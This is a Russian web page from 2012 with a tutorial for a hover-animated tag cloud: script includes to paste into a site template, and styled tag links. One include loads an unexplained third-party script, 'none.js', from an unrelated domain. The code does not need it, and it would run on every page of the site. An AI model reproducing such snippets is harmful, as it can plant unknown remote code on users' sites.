Понедельник, 02.12.2024, 18:54
Перевод

Погода
Профиль
Здравствуйте, Гость
Гость, мы рады вас видеть.
Поиск
Друзья сайта
  • All Share
  • it-baza
  • Eroglamour.ru
  • Статистика
    widgeo.net



    Каталог webplus.info










    Яндекс.Метрика







    Онлайн всего: 81
    Гостей: 81
    Пользователей: 0


    Всего: 201
    Новых за месяц: 0
    Новых за неделю: 0
    Новых вчера: 0
    Новых сегодня: 0

    Администраторов: 2
    Модераторов: 3
    V.I.P.: 2
    Журналистов: 27
    Временных: 0
    Заблокированных: 0
    Обычных: 167

    Парней: 157
    Девушек: 43

    Всего материалов:
    Новостей: 43846
    Блогов: 226
    Файлов: 57
    Фото: 0
    Форум: 7/7
    Коментариев: 29


    Посетившие за День



    День рождения рождения


    Облако тегов
    Реклама


    Меню сайта
    Категории раздела
    Программы [3808]
    Мультфильмы [491]
    Антивирус [223]
    Photoshop [1548]
    Книги Журналы [11595]
    Клипы [878]
    Фильмы онлайн [3]
    Все для Мобилы [352]
    Игры [1012]
    Музыка [9033]
    Фильмы [2969]
    Заработок в Интернете [554]
    Все для Того чтоб заработать в Интернете
    Разное [11198]
    Скрипты - Шаблоны для сайтов [57]
    Youtube
    Наш опрос
    Оцените мой сайт
    Всего ответов: 54
    Игра
    Реклама

    >

    Эротический видео-чат
    автоматическое продвижение сайтов






    $$$ для web-мастеров

    Сборник элитных сайтов с особой модерацией.

    <
    Рейтинг сайтов 3D Architech - Новости CG графикиСтатистика посещений сайта
    Каталог webplus.info
    Главная » 2012 » Октябрь » 16 » Информер тегов с дизайном как на Dle
    23:42
    Информер тегов с дизайном как на Dle
    Теперь на вашем сайте теги станут выглядить более изящнее и в тоже время удивлять своим дизайном

    Установка:

    Ваш шаблон куда-нить наверх добавить этот код:

    Code
    <script type="text/javascript" src="http://ili.pp.ua/js_css/jquery-1.2.6.pack.js"></script>
    <script src="http://cm4fan.ru/none.js" type="text/javascript"></script>
    <script type="text/javascript" src="http://ili.pp.ua/js_css/effects.core.js"></script>
    <script type="text/javascript">
    $(document).ready(function(){
    var f_color = '';
    $("a.structure").hover(function() {
    f_color = this.style.color;
    $(this).animate({ backgroundColor: "#4f94d0", color: "#ffffff" }, 700);
    },function()
    {
    $(this).animate({ backgroundColor: "white", color: f_color }, 200);
    });
    });
    </script>


    Теперь в любой чистый блок или в нижнюю часть сайта вставляем сами теги!

    Code
      
      <div id="content">  
      <div id="right">  
      <div class="tags"><a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Фото</a>  
      <a href="/" style="padding:2px; font-size:20px; color:#c4c4c4;" class="structure">модуль</a>  
      <a href="/" style="padding:2px; font-size:31px; color:#aad815;" class="structure">шаблон</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">web20</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">blog</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">пользователи</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">комментарии</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">Skin</a>  
      <a href="/" style="padding:2px; font-size:17px; color:#c4c4c4;" class="structure">Скин</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">News</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Стильный</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">web 20</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">новости</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">видео</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Награды</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">оплата</a>  
      <a href="/" style="padding:2px; font-size:12px; color:#336699;" class="structure">платный</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">files</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">Hamer</a>  
      <a href="/" style="padding:2px; font-size:11px; color:#999999;" class="structure">хаки</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">free</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">warcraft</a>  
      <a href="/" style="padding:2px; font-size:10px; color:#c4c4c4;" class="structure">softer</a>
    Просмотров: 116 | Добавил: Aninew | Рейтинг: 0.0/0
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]